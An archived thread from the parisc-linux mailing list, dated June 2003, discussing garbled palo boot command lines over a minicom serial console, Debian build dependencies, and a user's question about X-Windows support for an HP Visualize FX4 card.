	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jun 2003 09:15:59 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19NwT1-0001yw-00; Thu, 05 Jun 2003 17:15:51 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 5 Jun 2003 17:15:57 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18622

> I couldn't yet. It happened just the one time. What I did was:
>
> 1. power on apollo
> 2. log in to the host the serial line was attached to
> 3. start minicom
> 4. come back five minute
> later (the palo.conf entry has been wrong)
> 5. fin
 the above on the screen
> 6. delete line 1 five times
> 7. change path to kernel
> 8. boot

Could it be electrical interferences?

[I also use minicom with serial port configured as 9600 8N1 with "Hardware
Flow COntrol : yes" and cleanup "modem and dialing" init and reset strings]

> [dep building]

> I think I am missing a package for all this here where most of the
> dh_* are included ...

the package is debhelper (just in case you would find another file, it exists
a nice search tool in <http://www.debian.org/distrib/packages>; at the
bottom, you can search packages containing the file you know :) )

> Me using apt-get source then debian/rules build and finally I cannot
> use fakeroot at the moment (glibc issue though downgr
ded).

Yes there is some issue with glibc 2.3.1-17, better is 2.3.1-16

Joel





---------------------------------
Dcouvrez les 6 cls et gagnez le Club Med  Vie avec Tiscali
http://www.tiscali.be/nl/subs/tiscali4life/default.asp?lang=fr




From - Thu Nov 08 21:28:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II
Date: Thu, 5 Jun 2003 15:23:45 +0000 (UTC)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.53.0306051520320.27036@e0-0.zab2.int.zabbadoz.net>
References: <3ED4C8B600002915@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622500 26486 80.91.229.3 (22 Nov 2014 02:15:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  5 09:24:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 40EA14829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jun 2003 09:24:15 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id 0F6B41FFFBB; Thu,  5 Jun 2003 17:24:14 +0200 (CEST)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id E5A5E1FFBD5; Thu,  5 Jun 2003 17:24:12 +0200 (CEST)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 62A2115387; Thu,  5 Jun 2003 15:23:44 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id 57A561537F; Thu,  5 Jun 2003 15:23:45 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <3ED4C8B600002915@ocpmta1.freegates.net>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18623

On Thu, 5 Jun 2003, Joel Soete wrote:

Hi,

> Could it be electrical interferences?

shouldn't but could be. I thaught about some 'missbehaviour' of
minicom but nether had that before (also using cu sometimes).

I'd wait for reports from others if anyone else will see it or have a
more detailed look at the source I find the time. exams done :-)

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


From - Thu Nov 08 21:28:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II
Date: Thu, 5 Jun 2003 18:44:09 +0000 (UTC)
Lines: 49
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.53.0306051838490.27036@e0-0.zab2.int.zabbadoz.net>
References: <3ED4C8B600002915@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622500 26489 80.91.229.3 (22 Nov 2014 02:15:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  5 12:53:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id D8CA44829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jun 2003 12:53:51 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id 82E671FFFC0; Thu,  5 Jun 2003 20:53:50 +0200 (CEST)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 57E671FFEED; Thu,  5 Jun 2003 20:53:49 +0200 (CEST)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id E989615387; Thu,  5 Jun 2003 18:44:08 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id DF4E91537F; Thu,  5 Jun 2003 18:44:09 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <3ED4C8B600002915@ocpmta1.freegates.net>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18624

On Thu, 5 Jun 2003, Joel Soete wrote:

Hi,

> Could it be electrical interferences?

got it again. started minicom when it already waited for input.
perhaps that's the problem...
it's the same sequence I got last time for 1 .. 5

--- cut ---
A 74 00L 1X c 1Q
Current command line:
3/boot/vmlinux-2.5.60-pa1A 74 00L 1X c 1Q root=/dev/sdb3 HOME=/ TERM=linux console=ttyS0
 0: 3/boot/vmlinux-2.5.60-pa1A
 1: 74
 2: 00L
 3: 1X
 4: c
 5: 1Q
 6: root=/dev/sdb3
 7: HOME=/
 8: TERM=linux
 9: console=ttyS0

Edit which field?
(or 'b' to boot with this command line)? 0
3/boot/vmlinux-2.5.69-pa1
Current command line:
3/boot/vmlinux-2.5.69-pa1 74 00L 1X c 1Q root=/dev/sdb3 HOME=/ TERM=linux console=ttyS0
 0: 3/boot/vmlinux-2.5.69-pa1
 1: 74
 2: 00L
 3: 1X
 4: c
 5: 1Q
 6: root=/dev/sdb3
 7: HOME=/
 8: TERM=linux
 9: console=ttyS0

Edit which field?
(or 'b' to boot with this command line)? 0
--- /cut ---

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


From - Thu Nov 08 21:28:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II
Date: Thu, 5 Jun 2003 18:53:13 +0000 (UTC)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.53.0306051851430.27036@e0-0.zab2.int.zabbadoz.net>
References: <3ED4C8B600002915@ocpmta1.freegates.net>
 <Pine.BSF.4.53.0306051838490.27036@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622500 26491 80.91.229.3 (22 Nov 2014 02:15:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  5 12:53:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id F15AC482D
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Jun 2003 12:53:51 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id 9D5151FFFC1; Thu,  5 Jun 2003 20:53:50 +0200 (CEST)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 6213E1FFF23; Thu,  5 Jun 2003 20:53:49 +0200 (CEST)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 58F5515387; Thu,  5 Jun 2003 18:53:12 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id 4E8541537F; Thu,  5 Jun 2003 18:53:13 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <Pine.BSF.4.53.0306051838490.27036@e0-0.zab2.int.zabbadoz.net>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18625

On Thu, 5 Jun 2003, Bjoern A. Zeeb wrote:

Hi,

> got it again. started minicom when it already waited for input.
> perhaps that's the problem...
> it's the same sequence I got last time for 1 .. 5

sorry for replying to myself but I discovered another thing:

it boots fine also with this command line ???

--- cut ---
Edit which field?
(or 'b' to boot with this command line)? b

Command line for kernel: '74 00L 1X c 1Q root=/dev/sdb3 HOME=/ TERM=linux console=ttyS0 palo_kernel=3/boot/vmlinux-2.5.69-pa1'
Selected kernel: /boot/vmlinux-2.5.69-pa1 from partition 3
ELF32 executable
Entry 001002a0 first 00100000 n 3
Segment 0 load 00100000 size 1688080 mediaptr 0x1000
Segment 1 load 0029e000 size 307316 mediaptr 0x19e000
Segment 2 load 002ec000 size 438400 mediaptr 0x1ea000
Branching to kernel entry point 0x001002a0.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.5.69-pa1 (bz@apollo) (gcc version 3.3 20030509 (Debian prerelease)) #22 Sat May 17 16:48:19 UTC 2003
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
...
--- /cut ---


-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


From - Thu Nov 08 21:28:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Zlatan Jukic" <zlatan.jukic@fh-vorarlberg.ac.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Debian - Linux 3.0 on HP PA-RISC C360
Date: Fri, 6 Jun 2003 14:33:14 +0200
Organization: FH-Vorarlberg
Lines: 395
Approved: news@gmane.org
Message-ID: <1EB1A4E066D0D411BD330008C79F06AE022EC52C@yang.tvlbg.ac.at>
Reply-To: <zlatan.jukic@fh-vorarlberg.ac.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0037_01C32C38.90555CD0"
X-Trace: ger.gmane.org 1416622501 26494 80.91.229.3 (22 Nov 2014 02:15:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:01 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun  6 06:37:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gnu.uclv.net (gnu.uclv.net [193.170.2.126])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C7C34829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Jun 2003 06:37:05 -0600 (MDT)
Original-Received: from allian.uclv.net (allian.uclv.net [193.170.2.117])
	by gnu.uclv.net (8.12.8/8.12.8) with ESMTP id h56Cb34W031741
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK)
	for <parisc-linux@lists.parisc-linux.org>; Fri, 6 Jun 2003 14:37:03 +0200 (CEST)
	(envelope-from zlatan.jukic@fh-vorarlberg.ac.at)
Original-Received: from ZJPC (zj-pc.dh.uclv.net [193.170.103.157])
	(authenticated bits=0)
	by allian.uclv.net (8.12.8/8.12.8) with ESMTP id h56Cb1Mr079222
	for <parisc-linux@lists.parisc-linux.org>; Fri, 6 Jun 2003 14:37:01 +0200 (CEST)
	(envelope-from zlatan.jukic@fh-vorarlberg.ac.at)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4510
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18626

This is a multi-part message in MIME format.

------=_NextPart_000_0037_01C32C38.90555CD0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Sehr geehrte Damen und Herren,

=20

DEUTSCH:

=20

Ich habe neulich Debian Linux 3.0 auf unsere Maschine HP C360 =
installiert.
Ich kann leider X-Windows Desktop nicht starten, weil es von FX-4 Karte
nicht unterst=FCtzt wird.=20

=20

Meine Frage ist: Gibt es =FCberhaupt die M=F6glichkeit mit dieser FX4 =
Karte das
X-Windows System zu starten, oder muss ich eine andere Karte einbauen ( =
und
welche ??), um X-Windows zu starten. Ich habe geh=F6rt dass Visualize =
FX-4
l=E4uft nur unter sog. =84STICON=93, leider Einzelheiten weiss ich auch =
nicht?!,
ich weiss es auch nicht was =84STICON=93 bedeutet, da ich noch =
Anf=E4nger bin.

=20

Wenn X-Windows nicht gestartet werden kann, kann ich mit FX4 irgendeinen
anderen ( z.B. KDE oder GNOME Desktop) starten!

=20

K=F6nnen Sie mir bitte hier helfen?

=20

Herzlichen Dank f=FCr irgendwelche Hilfe!!

=20

Freundlichen Gruss, Zlatan=20

=20

ENGLISH:

=20

I installed recently Debian-Linux 3.0 on our machine HP C360.  I cannot
start unfortunately X-Windows Desktop, because it is not supported by =
FX4
card. =20

My question is:  There is the possibility with these FX4 card the =
X-Windows
system to start, or must I insert another card (and which??) in order to
start

X-Windows=85=20

I heard that Visualize FX4 run only under so-called "STICON",  =
unfortunately
I do not know details also?! =20

=20

I do not know it also which meant under "STICON".  If X-Windows cannot =
be
started, can I start with FX4 any different desktop (e.g. KDE or GNOMES
Desktop)! =20

=20

Can you help me please here!? =20

=20

Thanks for all your assistance!

kind regards, Zlatan

=20

=20

********************************************

Zlatan Jukic,

Fachhochschule Vorarlberg GmbH

Achstrasse 1

A-6850 Dornbirn

URL:    <http://www.fh-vorarlberg.at> http://www.fh-vorarlberg.at

email:  <mailto:zlatan.jukic@fh-vorarlberg.ac.at>
zlatan.jukic@fh-vorarlberg.ac.at

Phone: ++43 (0)5572 20336 167
Fax: ++43 (0)5572 20336 100

********************************************

=20


------=_NextPart_000_0037_01C32C38.90555CD0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<html>

<head>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">


<meta name=3DGenerator content=3D"Microsoft Word 10 (filtered)">

<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:AvenirBookFH;
	panose-1:0 0 4 0 0 0 0 0 0 0;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
span.EmailStyle17
	{font-family:Arial;
	color:windowtext;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:72.0pt 90.0pt 72.0pt 90.0pt;}
div.Section1
	{page:Section1;}
-->
</style>

</head>

<body lang=3DEN-US link=3Dblue vlink=3Dpurple>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>Sehr geehrte Damen und =
Herren,</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><b><i><font size=3D2 face=3DArial><span =
lang=3DDE-AT
style=3D'font-size:10.0pt;font-family:Arial;background:yellow;font-weight=
:bold;
font-style:italic'>DEUTSCH:</span></font></i></b></p>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
lang=3DDE-AT
style=3D'font-size:12.0pt'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>Ich habe neulich Debian Linux 3.0 auf unsere =
Maschine
HP C360 installiert. Ich kann leider X-Windows Desktop nicht starten, =
weil es
von FX-4 Karte nicht unterst=FCtzt wird. </span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>Meine Frage ist: Gibt es =FCberhaupt die =
M=F6glichkeit
mit dieser FX4 Karte das X-Windows System zu starten, oder muss ich eine =
andere
Karte einbauen ( und welche ??), um X-Windows zu starten. Ich habe =
geh=F6rt dass Visualize
FX-4 l=E4uft nur unter sog. &#8222;STICON&#8220;, leider Einzelheiten =
weiss ich
auch nicht?!, ich weiss es auch nicht was &#8222;STICON&#8220; bedeutet, =
da ich
noch Anf=E4nger bin.</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>Wenn X-Windows nicht gestartet werden kann, =
kann ich
mit FX4 irgendeinen anderen ( z.B. KDE oder GNOME Desktop) =
starten!</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>K=F6nnen Sie mir bitte hier =
helfen?</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>Herzlichen Dank f=FCr irgendwelche =
Hilfe!!</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Freundlichen Gruss, Zlatan </span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><b><i><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial;background:yellow;font-weight:bold;font-style:italic'>E=
NGLISH:</span></font></i></b></p>

<p class=3DMsoNormal><b><i><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial;font-weight:bold;font-style:italic'>&nbsp;</span></font=
></i></b></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I installed recently Debian-Linux 3.0 on our machine =
HP
C360.&nbsp; I cannot start unfortunately X-Windows Desktop, because it =
is not
supported by FX4 card.&nbsp; </span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>My question is:&nbsp; There is the possibility with =
these
FX4 card the X-Windows system to start, or must I insert another card =
(and
which??) in order to start</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>X-Windows&#8230; </span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I heard that Visualize FX4 run only under so-called
&quot;STICON&quot;,&nbsp; unfortunately I do not know details =
also?!&nbsp; </span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>I do not know it also which meant under
&quot;STICON&quot;.&nbsp; If X-Windows cannot be started, can I start =
with FX4
any different desktop (e.g. KDE or GNOMES Desktop)!&nbsp; =
</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Can you help me please here!?&nbsp; =
</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Thanks for all your assistance!</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>kind regards, Zlatan</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>&nbsp;</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span lang=3DDE-AT =
style=3D'font-size:
10.0pt;font-family:Arial'>********************************************</s=
pan></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DAvenirBookFH><span =
lang=3DDE-AT
style=3D'font-size:10.0pt;font-family:AvenirBookFH'>Zlatan =
Jukic,</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DAvenirBookFH><span =
lang=3DDE-AT
style=3D'font-size:10.0pt;font-family:AvenirBookFH'>Fachhochschule =
Vorarlberg
GmbH</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DAvenirBookFH><span =
lang=3DDE-AT
style=3D'font-size:10.0pt;font-family:AvenirBookFH'>Achstrasse =
1</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DAvenirBookFH><span =
style=3D'font-size:10.0pt;
font-family:AvenirBookFH'>A-6850 Dornbirn</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DAvenirBookFH><span =
style=3D'font-size:10.0pt;
font-family:AvenirBookFH'>URL:</span></font><font size=3D2><span
style=3D'font-size:10.0pt'>&nbsp;&nbsp;</span></font><font size=3D2
face=3DAvenirBookFH><span =
style=3D'font-size:10.0pt;font-family:AvenirBookFH'> </span></font><a
href=3D"http://www.fh-vorarlberg.at"><font size=3D2 =
face=3DAvenirBookFH><span
style=3D'font-size:10.0pt;font-family:AvenirBookFH'>http://www.fh-vorarlb=
erg.at</span></font></a></p>

<p class=3DMsoNormal><font size=3D2 face=3DAvenirBookFH><span =
style=3D'font-size:10.0pt;
font-family:AvenirBookFH'>email: </span></font><a
href=3D"mailto:zlatan.jukic@fh-vorarlberg.ac.at"><font size=3D2 =
face=3DAvenirBookFH><span
style=3D'font-size:10.0pt;font-family:AvenirBookFH'>zlatan.jukic@fh-vorar=
lberg.ac.at</span></font></a></p>

<p class=3DMsoNormal><font size=3D2 face=3DAvenirBookFH><span =
style=3D'font-size:10.0pt;
font-family:AvenirBookFH'>Phone: ++43 (0)5572 20336 167<br>
Fax: ++43 (0)5572 20336 100</span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>********************************************</span></f=
ont></p>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'>&nbsp;</span></font></p>

</div>

</body>

</html>

------=_NextPart_000_0037_01C32C38.90555CD0--



